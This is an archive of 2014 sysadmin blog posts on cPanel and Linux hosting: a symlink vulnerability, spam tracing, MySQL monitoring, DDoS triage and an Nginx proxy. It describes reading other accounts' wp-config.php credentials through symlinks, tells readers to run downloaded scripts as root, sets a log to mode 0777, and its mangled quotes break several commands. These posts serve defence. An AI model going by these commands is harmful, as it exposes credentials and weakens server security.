Friday 28 March 2014

symlink security issue - cPanel

cPanel symlink exploit



There is a serious security hole in the way that Apache handles symlinks on servers.

This allows an exploited account on a server to view .php files owned by other accounts, thus a single-account potentially exploits many accounts on the server.

The exploit, in general terms, is to create a symbolic link file (eg public_html/fred.txt) pointing to a wp-config.php file (eg /home/otheracct/public_html/wp-config.php) which contains database user and password which will occasionally be the cpanel username/password. The file is then readable via a web browser. If the user has been unwise enough to use their cpanel username/password for the database.

This script will find if there is any symlinks in the users home directory and save the output to /root/symlinks.txt

root@server1 [~]# find /home//public_html -type l >> /root/symlinks.txt

Solution :-

Rack911 has published an easyapache patch which adds the file /scripts/before-apache-make to force SymLinksIfOwnerMatch to be always on.

root@server1 [~]# wget http://layer1.rack911.com/before_apache_make -O /scripts/before_apache_make
root@server1 [~]# chmod 700 /scripts/before_apache_make


Rebuild apache after.
root@server1 [~]# /scripts/easyapache

Enable Symlink Race Condition Protection from Exhaustive Options list during the EasyApache build process.

Wednesday 26 March 2014

Error unable to activate deactivate domain - Plesk

Error unable to activate deactivate domain


ERROR: Internal Plesk error occurred: Unable to activate/deactivate domain: Domain Mgmt backend failed: domainmng: /usr/lib/plesk-9.0/mailmng_domain_toggle execution failed: ERROR: Unable to remove record from virtualdomains file System error 2: No such file or directory domainmng: Error while turn off mail service on domain domain.com

OR

Error: Unable to activate/deactivate domain: Execute usermng access off failed: Change access failed of user (bsb): (2221) The user name could not be found.

Solution is need to disable the user account
Follow these steps:

1) You can disable the Plesk domain user by login to your Windows server.
2) Login to the server through RDP
3) Go to Computer management - users
4) Right Click on the user which is to be disabled.
5) Click on properties.
6) Tick the Box Account is disabled.
7) After that you activate or deactivate the domain.
8) If your process is success then again go to user and uncheck the box Account is disabled.


The topic on Whm-cpanel - Error unable to activate deactivate domain is posted by - Math

Hope you have enjoyed, Whm-cpanel - Error unable to activate deactivate domainThanks for your time

Tuesday 25 March 2014

How to monitor and Deal with Spamming



It is difficult to track nobody spammers from exim_mainlog file. You can’t get exactly that who is using your server to send spams. If you check php.ini file you will see that the mail service is set to /usr/sbin/sendmail and almost all mail scripts are in use the built in mail(); function for PHP.It means that everything is going through /usr/sbin/sendmail.

We will try to get these users in your Linux Servers.

1. Login to server as root.

2. For safe side turn off exim.

[root@server~]#/etc/init.d/exim stop

3. Backup /usr/sbin/sendmail file. [Your server is using Exim as MTA (Mail Transfer Agent), Exim will use sendfile for just a pointer actually].

[root@server~]#mv /usr/sbin/sendmail /usr/sbin/sendmail.hidden

4. Now we will create a spam monitoring script for the new sendmail programme.

[root@server~]#pico /usr/sbin/sendmail

Paste in the following:

#!/usr/local/bin/perl
# use strict;
use Env;
my $date = `date`;
chomp $date;
open (INFO, “>>/var/log/spam_log”) || die “Failed to open file ::$!”;
my $uid = $>;
my @info = getpwuid($uid);
if($REMOTE_ADDR) {
print INFO “$date – $REMOTE_ADDR ran $SCRIPT_NAME at $SERVER_NAME n”;
}
else {
print INFO “$date – $PWD – @infon”;
}
my $mailprog = ‘/usr/sbin/sendmail.hidden’;
foreach (@ARGV) {
$arg=”$arg” . ” $_”;
}
open (MAIL,”|$mailprog $arg”) || die “cannot open $mailprog: $!n”;
while (<STDIN> ) {
print MAIL;
}
close (INFO);
close (MAIL);

5. Change the permissions new sendmail.

[root@server~]#chmod +x /usr/sbin/sendmail

6. New log file to save history which using web mail scripts.

[root@server~]#touch /var/log/spam_log

[root@server~]#chmod 0777 /var/log/spam_log

7. Start Exim.

[root@server~]#/etc/init.d/exim start

8. Now try any formmail script or any mail script which uses mail function and monitor new log file (spam_log)

[root@server~]#tail – f /var/log/spam_log

It should give us output like this:

Mon Nov 15 11:00:00 EST 2008 – /home/username/public_html/directory/subdirectory/subsubdirectory – nobody x 99 99 Nobody / /sbin/nologin

9. Log Rotation: This file is not set to be rotated file so there is a possibility that the file comes very large soon in size. So do this,

[root@server~]#pico /etc/logrotate.conf

Find >>

# no packages own wtmp — we’ll rotate them here

/var/log/wtmp {
monthly
create 0664 root utmp
rotate 1
}

Add >>

# SPAM LOG rotation

/var/log/spam_log {
monthly
create 0777 root root
rotate 1
}

10. We will set attributes for new sendmail programme file so it will not get overwritten.

[root@server~]#chattr + i /usr/sbin/sendmail

Now we can get nobody spam users, Goodluck.

Sunday 23 March 2014

Comandline Tools to Monitor MySQL Performance in Linux

There are plenty of tools to monitor MySQL performance and troubleshoot a server, but they don’t always perfect match for a MySQL developer or administrator’s for their common needs, or may not work in some situations, such as remote or over the web monitoring.

Luckily, there are variety of open source tools created by MySQL community to fill the gaps. On the other hand, it’s very difficult to locate these tools via web searches, that’s the reason we’ve compiled 4 command line tools to monitor MySQL database uptime, load and performance in Linux.

Uptime means how long the database has been running and up since its last shutdown or restart. Getting information about uptime is very crucial in many situations, as it helps system administrators to check the status of MySQL database about, how many queries per second that MySQL database serves, threads, slow queries and lots of interesting statistics.

1. Mytop


Mytop is one of my classic open source and free console-based (non-gui) monitoring tool for MySQL database was written by Jereme Zawodny using Perl language. Mytop runs in a terminal and displays statistics about threads, queries, slow queries, uptime, load, etc. in tabular format, much similar to the Linux top program. Which indirectly helps the administrators to optimize and improve performance of MySQl to handle large requests and decrease server load.

Install Mytop Mysql Monitoring in Linux

There are mytop packages available for various Linux distributions, such as Ubuntu, Fedora and CentOS. For more about installation instruction read: How to Install Mytop (MySQL Monitoring) in Linux

2. Mtop


mtop (MySQL top) is a another similar open source, command line based real time MYSQL Server monitoring tool, was written in Perl language that display results in tabular format much like mytop. mtop monitors MySQL queries which are taking the most amount of time to finish and kills those long running queries after certain specified time.

In addition, it also enable us to identify performance related problems, configuration information, performance statistics and tuning related tips from the command line interface. The two tools are very similar, but mtop is not actively maintained and may not work on newly installed MySQL versions.

Install mtop in Linux

For more about installation instruction read: How to Install Mtop (MySQL Monitoring) in Linux

3. Innotop


Innotop is a real time advanced command line based investigation program to monitor local and remote MySQL servers running under InnoDB engine. Innotop includes many features and comes with different types of modes/options, which helps us to monitor various aspects of MySQL performance to find out what’s wrong going with MySQL server.

Install Innotop in Linux

For more about installation instruction read: How to Install Innotop (MySQL Monitoring) in Linux

4. mysqladmin


mysqladmin is a default command line MySQL client that comes pre-installed with MySQL package for performing administrative operations such as monitoring processes, checking server configuration, reloading privileges, current status, setting root password, changing root password, create/drop databases, and much more.

To check the mysql status as well as uptime run the following command from the terminal, and make sure you must have root permission to execute the command from the shell.
[root@localhost ~]# mysqladmin -u root -p version
Enter password:

Sample Output

mysqladmin  Ver 8.42 Distrib 5.1.61, for redhat-linux-gnu on i386
Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Server version 5.1.61-log
Protocol version 10
Connection Localhost via UNIX socket
UNIX socket /var/lib/mysql/mysql.sock
Uptime: 20 days 54 min 30 sec

Threads: 1 Questions: 149941143 Slow queries: 21 Opens: 752 Flush tables: 1 Open tables: 745 Queries per second avg: 86.607

For more about mysqladmin commands and examples, read: 20 mysqladmin Commands for MySQL Administration in Linux

Conclusion


If you’re looking for a good monitor tool for your own work, I recommend mytop and innotop. I used to depend on mytop for my daily monitoring purposes, but now I shifted to innotop, because it displays much more statistics and information, including important transactions.

Saturday 22 March 2014

Search and Replace

Customer has been a victim of iframe code injections in multiple pages. Use this grep/sed command will come in handy for clearing the majority of them out. Please be careful and test first with just the grep command to ensure you don't clear out anything you need. Does NOT backup files, be sure to backup first!

download: http://erikimh.com/code/rmcodeinjections.sh


this will remove all iframe injections from a particular file or wildcard set of files

usage example: ./rmcodeinjections.sh *.php


Replacing /var/named domains IP addresses with perl

Sometimes you need to replace an instance of one string in a file with another string. If there's multiple occurrences, this can be a pain. Here's a simple example of how you can use perl to replace all instances of an IP address for a moved a domain.

To do it:

perl -i.bak -pe "s/0.0.0.0/1.2.3.4/g" /var/named/domain.com.db


This example shows how to change from IP 0.0.0.0 to 1.2.3.4
This will also makes a backup of /var/named/domain.com.db as /var/named/domain.com.db.bkp

If you're feeling ballsy and do not want backup run:

perl -i -pe "s/0.0.0.0/1.2.3.4/g" /var/named/domain.com.db


One alternate way would be (without perl):

replace 0.0.0.0 1.2.3.4 -- /var/named/domain.com.db

Differnce Shared hosting - VPS Hosting - Dedicated server hosting



When we think of hosting our site three types of hosting comes to our mind Shared Hosting, VPS (Virtual Private Server) and Dedicated Server. The pricing of these services varies from provider to provider and resources you want. Now what is the difference between these three services ?

1. Shared Hosting :

Shared hosting is a hosting service where many users share a single server. All the users have a separate directory where they can upload their files. This is generally most economical option as all the users share the overall cost of the server. The server is administered by the hosting provider and the technical tasks like managing servers, installing server software, security updates, technical support, etc. are the responsibility of the server admin. These servers generally use control panels like cPanel, Directadmin, Plesk, Interworx, etc which allow the users to manage their websites.

2. VPS (Virtual Private Server) :

VPS (Virtual Private Server) is a virtual machine created on a physical server. The hosting provider creates multiple VPS on a physical server and provides access to their users. VPS is as good as a dedicated server but with limited resources. VPS provides root access to the user so the user can install any software/OS and perform any root level tasks. This option is a little expensive as it is more powerful than a shared hosting account and has more privileges.

3. Dedicated Server :

Dedicated server is a service where the user leases the entire physical server and is not shared by anyone else. Unlike VPS and Shared hosting the user has full control over the server. The user can choose the hardware, software, OS, etc. Dedicated server is useful because of the benefits like high performance, security, email stability and control. This option is the costliest as you are the only one who is bearing the cost of the entire server. Most of the providers offer Managed dedicated server where the server is managed by the provider upto some extent.

Who should go for Shared hosting ?

The users who just want a business website and do not need much resources can opt for shared hosting as the cost involved in shared hosting is nominal. If you are a start up company and want an online presence shared hosting is the best for you.

Who should go for a VPS ?

The users who have sites with huge volume of visits and complex tasks being executed VPS hosting is recommended. This is because such website requires high amount of resources and constant monitoring on the part of the server admin. VPS becomes bit expensive but if you need more resources it is better to go for a VPS.

Who should go for a Dedicated Server ?

Dedicated server is recommended for big companies and institutions who have huge data and perform multiple tasks and calculations. Dedicated server is expensive but you have full control over the server and you can install anything you require for your site. With a dedicated server you have ample resources to handle any volume of requests for your site.

Friday 21 March 2014

Leave Copies Of Messages On Server

Most POP mail clients will automatically remove the messages from the mail server when it downloads them unless it is specifically configured to leave mail on the server. All of your emails should be saved locally on the computer that your POP client is on and still available from your mail client on that machine.



If you wish to leave a copy of the mail on the server so it can be accessed from multiple locations, you will need to change your download settings:




  • For Outlook, click on Tools > E-mail Accounts select "View or change existing e-mail accounts" and press "Next". Select the correct account and click "Change", then the "More Settings" button. You will then go to the "Advanced" tab  and  find the "Delivery" section at the bottom. Check "Leave a copy of messages on server".



If you want to put your mail back on the server, you will need to reconfigure your mail client to connect with IMAP instead of POP and then import your mail back to the server. You will need to find the file that your mail is being stored in and then import the data in your IMAP mail profile, or simply drag and drop the mail from your local folders into the IMAP inbox.



Note: After you import mail via IMAP, if you connect with the POP client again, all of the email will download a second time and show up in your POP mail client as duplicates. In order to avoid duplicates, it is recommended that you move the mail from your inbox to another local folder before you connect back to the mail server via POP.

Configure IIS7 To Show ASP Errors

In IIS 7, you can control the detailed ASP error messages being sent to the clients. By default, the error messages are disabled from being send to users in order to prevent exposing more information than you intended to show.  Read article on How to Use HTTP Detailed Errors in IIS 7.0 for more information. If you want to enable detailed error messages to be shown on the users for the development or debugging purposes, then you need to make the two following adjustments in the IIS7 Manager: a) Allow showing error messages for local requests:




  1. Connect to your server using IIS7 manager.

  2. In the Features view, double click ASP.

  3. Expand Debugging Properties, set Send Errors To Browser to True, and click Apply.


b) Allow sending detailed error messages for remote requests (not required for Dedicated Web Hosting accounts):




  1. Go back to IIS7 modules.

  2. In the Features view, double click Error Pages.

  3. Right click and select the Edit Feature Settings… for any specific error code or select the same from the Actions pane.

  4. Select the Detailed errors radio button and click OK.


Note: It is recommended to change the settings back when development/debugging is complete. Note: Internet Explorer does not show proper error messages by default. To enable friendly HTTP error messages in Internet Explorer:




  1. On the Tools menu in Internet Explorer, click Internet Options.

  2. Click the Advanced tab.

  3. In the list of options under Browsing, clear the Show friendly HTTP error messages check box.

  4. Click Apply, and then click OK.

Thursday 20 March 2014

cPanel Security Advisor Addon

This security advisor addon has only been tested on 11.38. Installing this addon is easy, using Git. Git is a powerful version control tool cPanel. It’s also included with cPanel & WHM and the tool used here to check out the cPanel Security Advisor. Git is also distributed with CentOS/RHEL, but cPanel has it’s own version based on the perl modules that cPanel installs.

Feature

Collect feedback on what security items we can enable by default without causing  problems.
Provide a way for cPanel to directly provide advice on how to secure your server on a single page.
Highlight new security features as they are added to cPanel/WHM.

cPsecurityadviserSS

How to install cpanel security advisor addon ?



Download security advisor git

/usr/local/cpanel/3rdparty/bin/git clone https://github.com/bdraco/addon_securityadvisor.git

cd addon_securityadvisor/pkg

./install

Next, log into WHM and go to the Plugins section on left menu to locate the Security Advisor Tool.

Clicking through that link will automatically run the cPanel Security Advisor, and the test will only take a moment.

It’s important to know that each security decision you are making here, is a risk versus reward situation. If you choose to take the risk, it’s important to know consequences and to be best prepared.

cPanel Security Advisor is very basic and if possible, you can use CSF security check options to check the cpanel security.

Uninstall cPanel security addon.



cd /usr/local/cpanel/3rdparty/bin/addon_securityadvisor/pkg/

./uninstall

Thats all…

Find Symlink files or folders in your cpanel server

There are many symlink hacking attempt caused trouble in your server. they can create a sym link folder by using

script. This is major security issues. how to find all the symbolic links under a particular directory using the “find” command.

Use the below commands to find symlink directory in your cpanel server.

find <search folder path> -lname <symlink file path>


Use the below command to find all the sym link files

find /home -type l -printf '%p -> %ln'

or

find /home -type l -exec ls -lad {} ;


List all symbolic links in current directory

find /home -type l


Another examples,

In order to find all the /root folder symlinks in your /home directory, use this command

cd /home

find -lname /root


Use ls command to lise all the sym links

ls -lahR | grep ^l

Enable statistics in Configserver Firewall (CSF)



I’ve noticed recently that a new install of CSF won’t have statistics enabled by default.  Here’s how to enable them…

Edit your /etc/csf/csf.conf file and change:

ST_ENABLE = “0?

to

ST_ENABLE = “1?

Then, restart csf:  csf -r

Auto installer Bash Shell Script for FFmpeg

Open source ffmpeg installer FREE cPanel Plugin which is from bash shell script. The purpose of this script is to build a video streaming platform in your Gnu/Linux server. So you can start video streaming websites and avoid the cost of installations. This script not only install ffmpeg but also all its friends packages.

FFmpeg Installation on cPanel server

Before proceed, try to disable the firewall temporary and download latest ffmpeg installer version.

cd /usr/local/src
wget http://mirror.ffmpeginstaller.com/old/scripts/ffmpeg7/ffmpeginstaller.7.4.tar.gz tar -zxvf  ffmpeginstaller.7.4.tar.gz
cd ffmpeginstaller.7.4
./install


The following packages will install automatically.

›ffmpeg
›Mplayer
›A52decoder
›Amrnb and Amrwb
›All codecs
›facc and faad2
›Ruby

›flvtool2
›Git
›Mplayer
›Lame
›Libogg
›Libvorbis
›Libtheora

›Libwmf
›opencoreamr
›vorbistools
›X264
›MP4Box
›Xvidcore
›Yasm

You can check more version from http://ffmpeginstaller.com/

How to downgrade MySQL on cPanel server

You know downgrades are not recommended, it’s always best to stick with a newer version and work around whatever issues you have but if you really have to downgrade then this way is pretty easy and always works 99% of the time to be honest.

As always make sure you take BACKUPS of your databases and mysql directory before you continue..

Edit /var/cpanel/cpanel.config and look for the MySQL-version line and edit the number to whatever version you need i.e.

mysql-version=5.5

to

mysql-version=5.1

Save it and run the following command:

/scripts/mysqlup –force

After this is done – login to your WHM control panel and run easyeapache and rebuild based on your last profile to connect everything back together.

Tuesday 18 March 2014

DDoS Attack

A denial-of-service attack (DoS attack) or distributed denial-of-service attack (DDoS attack) is an attempt to make a computer resource unavailable to its intended users. Although the means to carry out, motives for, and targets of a DoS attack may vary, it generally consists of the concerted efforts of a person or people to prevent an Internet site or service from functioning efficiently or at all, temporarily or indefinitely. Perpetrators of DoS attacks typically target sites or services hosted on high-profile web servers such as banks, credit card payment gateways, and even root nameservers.



Like DOS , DDOS also tries to deny the important services running on a server by broadcasting packets to the destination server in a way that the Destination server cannot handle it. The speciality of the DDOS is that, it relays attacks not from a single network/host like DOS. The DDOS attack will be launched from different dynamic networks which has already been compromised.



Normally, DDOS consists of 3 parts . One is the Master ,Other the slave and atlast the victim. The master is the attack launcher i.e the person/machine behind all this. The slave is the network which is being compromised by the Master and Victim is the target site/server . Master informs the compromised machines, so called slaves to launch attack on the victim’s site/machine. Hence its also called co-ordinated attack.



One common method of attack involves saturating the target (victim) machine with external communications requests, such that it cannot respond to legitimate traffic, or responds so slowly as to be rendered effectively unavailable. In general terms, DoS attacks are implemented by either forcing the targeted computer(s) to reset, or consuming its resources so that it can no longer provide its intended service or obstructing the communication media between the intended users and the victim so that they can no longer communicate adequately.



DDoS Process :-



DDOS is done in 2 phases. In first phase attackers try to compromise weak machines in different networks around the world. This phase is called Intrusion Phase. Its in the next phase that they install DDOS tools and starts attacking the victims machines/site. This Phase is called Distributed DoS attacks phase.



Comman Reasons/Loop holes :-



1) Vulnerable softwares/Applications running on a machine or network.



2) Open network setup.



3) Network/ machine setup without taking security into account.



4) No monitoring or DataAnalysis are being conducted.



5) No regular Audit / Software upgrades being conducted.



———————————————————————————————————



netstat -alpn | grep :80 | awk ‘{print $4}’ | cut -d: -f1 |sort |uniq -c
netstat -alpn | grep :80 | awk ‘{print $5}’ | cut -d: -f1 |sort |uniq -c



———————————————————————————————————



RedHat: netstat -ntu | awk ‘{print $5}’ | cut -d: -f1 | sort | uniq -c | sort -n



BSD: netstat -na |awk ‘{print $5}’ |cut -d “.” -f1,2,3,4 |sort |uniq -c |sort -n



You can also check for connections by running the following command.
netstat -plan | grep :80 | awk ‘{print $4 }’ | sort -n | uniq -c | sort



These are few step to be taken when you feel the server is under attack:
——————————————————————————-
Step 1: Check the load using the command “w”.
Step 2: Check which service is utilizing maximum CPU by “nice top”.
Step 3: Check which IP is taking maximum connection by netstat -anpl|grep :80|awk {’print $5?}|cut -d”:” -f1|sort|uniq -c|sort -n
Step 4: Then block the IP using firewall (APF or iptables “apf -d < IP>” )
——————————————————————————-



How to prevent from DDoS :-



Implement security features in your server like:



1) Install apache modules like mod_dosevasive and mod_security in your server.
2) DDOS protection using CSF through “SYNFLOOD”.
3) The best,free & open sources solution to protect from DDOs :- http://deflate.medialayer.com/
4) Configure APF and IPTABLES to reduce the DDOS.



Basic server securing steps :
===============================
5) Configure sysctl parameters in your server to drop attacks.



You can block the IP which is attacking your server using Ipsec from command prompt.
=========
>> netsh ipsec static add filterlist name=myfilterlist
>> netsh ipsec static add filter filterlist=myfilterlist srcaddr=a.b.c.d dstaddr=Me
>> netsh ipsec static add filteraction name=myaction action=block
>> netsh ipsec static add policy name=mypolicy assign=yes
>> netsh ipsec static add rule name=myrule policy=mypolicy filterlist=myfilterlist filteraction=myaction
========

How to Setup Nginx as Reverse Proxy with Apache

WHM/Cpanel comes by default with Apache web server. That doesn’t mean that we can’t integrate Nginx “EngineX”. With some minor changes, we can install Nginx to listen



on port 80 and forward any PHP request to Apache to handle on another port like 8081. Apache is not really good in handling static files, so we pass this task to



Nginx. You will notice that your memory and CPU will decrease once you have done this setup.



Warning: This setting is not suitable for shared hosting environment. I strongly recommend you to apply this if you have 1 busy website running under cPanel. Make sure



you have compiled your Apache modules and features using EasyApache.



If you want nginx for shared hosting,please refer the following post/article :-



I am using variables as below:



OS: CentOS 5.6 32bit
cPanel: cPanel 11.30.1 (build 5)
Domain IP: 10.20.30.11
Apache port: 8081
Domain: unixsurgeon.com
User: unixsurgeon
Home directory: /home/unixsurgeon



1. Since Nginx will be reverse proxy for Apache, we don’t want our log file to record the proxy IP. We want the real IP as usual. This will make sure our stats page



like Webalizer and AWstats will record the correct information. So we need to install mod_rpaf which is “Reverse Proxy Add Forward” module for Apache. You can download



that at http://stderr.net/apache/rpaf/download:



# cd /usr/local/src
# wget http://stderr.net/apache/rpaf/download/mod_rpaf-0.6.tar.gz
# tar -xzf mod_rpaf-0.6.tar.gz
# cd mod_rpaf-*
# apxs -i -c -n mod_rpaf-2.0.so mod_rpaf-2.0.c



2. Once installed, we need to load the module into Apache configuration. Since cPanel already has Include Editor for Apache, we will use that functions. Login to WHM > Service Configuration > Apache Configuration > Include Editor > Pre Main Include > All Versions and paste following text:



LoadModule rpaf_module modules/mod_rpaf-2.0.so
RPAFenable On
RPAFproxy_ips 127.0.0.1  10.20.30.11 # replace the value with your server IP
RPAFsethostname On
RPAFheader X-Real-IP



3. Click Update > Restart Apache. The module should be loaded after restart.



4. Before we install Nginx, we need to change Apache port to 8081. Login to WHM > Server Configuration > Tweak Settings > Apache non-SSL IP/port:



0.0.0.0:8081



5. We need to run following command so cPanel will remember that Apache configuration template has changed:



#  /usr/local/cpanel/bin/apache_conf_distiller –update –main
#  /scripts/rebuildhttpdconf



6. Lets install Nginx and all requirements using yum. You can download Nginx source at http://nginx.org/en/download.html:



#  yum install pcre* -y
#  cd /usr/local/src
#  wget http://nginx.org/download/nginx-1.0.5.tar.gz
#  cd nginx-*
#  ./configure
#  make
#  make install



7. Once installed, we need to do some changes to Nginx configuration file. Using text editor, copy and paste following line and change the required value to fit your environment:



—————————————



user  nobody;



worker_processes  1;



error_log  logs/error.log  info;



events {
worker_connections  1024;
}



http {
server_names_hash_max_size 2048;
include       mime.types;
default_type  application/octet-stream;



log_format   main ‘$remote_addr – $remote_user [$time_local]  $status ‘
‘”$request” $body_bytes_sent “$http_referer” ‘
‘”$http_user_agent” “$http_x_forwarded_for”‘;



sendfile        on;
tcp_nopush     on;



keepalive_timeout  10;



gzip  on;
gzip_min_length  1100;
gzip_buffers  4 32k;
gzip_types    text/plain application/x-javascript text/xml text/css;
ignore_invalid_headers on;



client_header_timeout  3m;
client_body_timeout 3m;
send_timeout     3m;
connection_pool_size  256;
client_header_buffer_size 4k;
large_client_header_buffers 4 32k;
request_pool_size  4k;
output_buffers   4 32k;
postpone_output  1460;



server {
# this is your access logs location
access_log /usr/local/apache/domlogs/unixsurgeon/unixsurgeon.com;



error_log  logs/vhost-error_log warn;
listen    80;
# change to your domain
server_name  unixsurgeon.com www.unixsurgeon.com;



location ~* .(gif|jpg|jpeg|png|wmv|avi|mpg|mpeg|mp4|htm|html|js|css)$ {
# this is your public_html directory
root   /home/unixsurgeon/public_html;
}



location / {
client_max_body_size    10m;
client_body_buffer_size 128k;



proxy_send_timeout   90;
proxy_read_timeout   90;



proxy_buffer_size    4k;
proxy_buffers     16 32k;
proxy_busy_buffers_size 64k;
proxy_temp_file_write_size 64k;



proxy_connect_timeout 30s;



# change to your domain name
proxy_redirect  http://www.unixsurgeon.com:8081   http://www.unixsurgeon.com;
proxy_redirect  http://unixsurgeon.com:8081   http://unixsurgeon.com;



proxy_pass   http://127.0.0.1:8081/;
proxy_set_header   Host   $host;
proxy_set_header   X-Real-IP  $remote_addr;
proxy_set_header   X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
}



———————————



8. We need to check the Nginx configuration file before start the Nginx. Use following command to check the configuration file:



root@cpanel [~]# /usr/local/nginx/sbin/nginx -t
nginx: the configuration file /usr/local/nginx/conf/nginx.conf syntax is ok
nginx: configuration file /usr/local/nginx/conf/nginx.conf test is successful



9. If everything is OK, we can start the Nginx as below:



# /usr/local/nginx/sbin/nginx start



10. Lets check whether Nginx and Apache are listening to the correct port:



root@cpanel [~]# netstat -tulpn | grep -e nginx -e httpd
tcp        0      0 0.0.0.0:80                  0.0.0.0:*                   LISTEN      16728/nginx
tcp        0      0 0.0.0.0:8081                  0.0.0.0:*                   LISTEN      19655/httpd
tcp        0      0 0.0.0.0:443                 0.0.0.0:*                   LISTEN      19655/httpd



11. If everything is run as expected, edit /etc/rc.local using text editor and add following line so Nginx will start automatically after reboot :-



# /usr/local/nginx/sbin/nginx restart



Nginx no need to be restarted to load the latest configuration file. You can run following command and it will reload the configuration on-the-fly without downtime:



kill -HUP `ps -ef | grep nginx | grep master | awk {‘print $2?}`

Saturday 15 March 2014

Use IPRoute2 Tools to Manage Network Configuration - Linux VPS


Introduction


It is essential to have an understanding of basic networking tools when administering and troubleshooting Linux servers. While some tools are made primarily for monitoring, other low-level utilities are used to configure the network connection itself and implement default settings.




Traditionally, a group of unrelated tools lumped together under the title of net-tools was used to do this. They were often packaged together to provide full functionality coverage, but their development and usage strategy varied from tool to tool.




Because of inconsistencies, as well as halted maintenance, a collection of tools known under the umbrella moniker iproute2 has been used to replace these separate tools. They have been developed in tandem to share syntax and operate together efficiently.




In this guide, we will discuss how to use the iproute2 tools to configure, manipulate, and gather information about your network. We will be using an Ubuntu 12.04 VPS to demonstrate, but most modern Linux distributions should provide the same level of functionality.




While the querying commands can usually be executed as an unprivileged user, root privileges must be used to modify settings.

How To View Network Interfaces, Addresses, and Routes


One of the most fundamental responsibilities of the iproute2 suite is to manage actual interfaces.

Usually, the interfaces themselves will be named things like eth0, eth1, lo, etc. Traditionally, the ifconfig command was used to configure items in this area. Under the iproute2 system, the subcommands ip addr and ip link take care of these steps.

With ifconfig, you could gather information about the current state of your network interfaces by typing the command with no arguments:
ifconfig

eth0      Link encap:Ethernet  HWaddr 54:be:f7:08:c2:1b  
inet addr:192.168.56.126 Bcast:192.168.56.255 Mask:255.255.255.0
inet6 addr: fe80::56be:f7ff:fe08:c21b/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:114273 errors:0 dropped:0 overruns:0 frame:0
TX packets:58866 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:73490903 (73.4 MB) TX bytes:14294252 (14.2 MB)
Interrupt:20 Memory:f7f00000-f7f20000

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:3942 errors:0 dropped:0 overruns:0 frame:0
TX packets:3942 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:668121 (668.1 KB) TX bytes:668121 (668.1 KB)

To get information about a single interface, you can always specify it as an argument:
ifconfig eth0

eth0      Link encap:Ethernet  HWaddr 54:be:f7:08:c2:1b  
inet addr:192.168.56.126 Bcast:192.168.56.255 Mask:255.255.255.0
inet6 addr: fe80::56be:f7ff:fe08:c21b/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:114829 errors:0 dropped:0 overruns:0 frame:0
TX packets:59007 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:73598364 (73.5 MB) TX bytes:14325245 (14.3 MB)
Interrupt:20 Memory:f7f00000-f7f20000

We can replicate this functionality with subcommands in the iproute2 suite.

To get an overview of the addresses attached to each interface, type ip addr in with no arguments:
ip addr

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN 
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
link/ether 54:be:f7:08:c2:1b brd ff:ff:ff:ff:ff:ff
inet 192.168.56.126/24 brd 192.168.56.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::56be:f7ff:fe08:c21b/64 scope link
valid_lft forever preferred_lft forever

To get a specific interface, you can use this syntax:
ip addr show eth0

2: eth0:  mtu 1500 qdisc pfifo_fast state UP qlen 1000
link/ether 54:be:f7:08:c2:1b brd ff:ff:ff:ff:ff:ff
inet 192.168.56.126/24 brd 192.168.56.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::56be:f7ff:fe08:c21b/64 scope link
valid_lft forever preferred_lft forever

In fact, the ip addr command is just an alias for the ip addr show command.

If you are only concerned with the interfaces themselves and not the addresses, you can use the ip link command instead:
ip link

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN 
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
link/ether 04:01:13:8a:a2:01 brd ff:ff:ff:ff:ff:ff

To get information about a specific interface, you'll need to add the keyword show followed by the interface name:
ip link show eth0

To get statistics about how an interface is communicating, you can query statistics from each interface by passing the -s option to the link subcommand:
ip -s link show eth0

2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
link/ether 04:01:13:8a:a2:01 brd ff:ff:ff:ff:ff:ff
RX: bytes packets errors dropped overrun mcast
853144 14672 0 0 0 0
TX: bytes packets errors dropped carrier collsns
91257 537 0 0 0 0

So how do we find our routing table? The routing table contains kernel information about the paths to other network locations. We can print off the current routing table by typing:
ip route show

default via 107.170.58.1 dev eth0  metric 100
107.170.58.0/24 dev eth0 proto kernel scope link src 107.170.58.162

This shows us that the default route to the greater internet is available through the eth0 interface and the address 107.170.58.1. We can access this server through that interface, where our own interface address is 107.170.58.162.

How To Configure Network Interfaces and Addresses


Now that you are familiar with how to get information about the interfaces and addresses associated with them, the next step is to find out how to modify their states.

The first step is to configure the interface itself. You can do this with the ip link subcommand again. This time, however, you pass the action set instead of show in order to modify values.

For instance, we can bring a network interface up or down by issuing these:
ip link set eth1 up
ip link set eth1 down

Note: Be careful not to accidentally bring down the interface that you are connected to your server through.

You can also use the ip link subcommand to set attributes about the interface. For instance, if you would like to change the multicast flag on or off for your interface, you can type:
ip link set eth1 multicast on
ip link set eth1 multicast off

You can adjust the mtu and package queue length like this:
ip link set eth1 mtu 1500
ip link set eth1 txqueuelen 1000

If the interface you are configuring is down, you can adjust the interface name and the arp flag associated with the device:
ip link set eth1 name eth10
ip link set eth1 arp on

To adjust the addresses associated with the interfaces, we again use the ip addr subcommand.

We can add an address to a device by typing:
